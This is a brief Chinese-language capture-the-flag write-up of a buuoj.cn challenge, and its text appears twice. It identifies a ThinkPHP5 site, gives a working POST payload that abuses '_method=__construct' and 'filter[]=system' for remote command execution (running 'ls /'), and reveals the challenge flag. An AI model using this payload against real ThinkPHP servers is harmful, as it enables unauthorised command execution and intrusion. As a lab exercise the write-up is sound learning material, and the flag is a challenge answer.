复现环境:buuoj.cn
发现是thinkphp5,让页面报错找到了具体的版本号。
上网找了这个漏洞的payload
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
使用hackbar的post传递这个参数进去,查看根目录下的文件
读取flag
flag{dc909607-e27c-40a9-86e8-2de6079ed503}
复现环境:buuoj.cn
发现是thinkphp5,让页面报错找到了具体的版本号。
上网找了这个漏洞的payload
POST:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
使用hackbar的post传递这个参数进去,查看根目录下的文件
读取flag
flag{dc909607-e27c-40a9-86e8-2de6079ed503}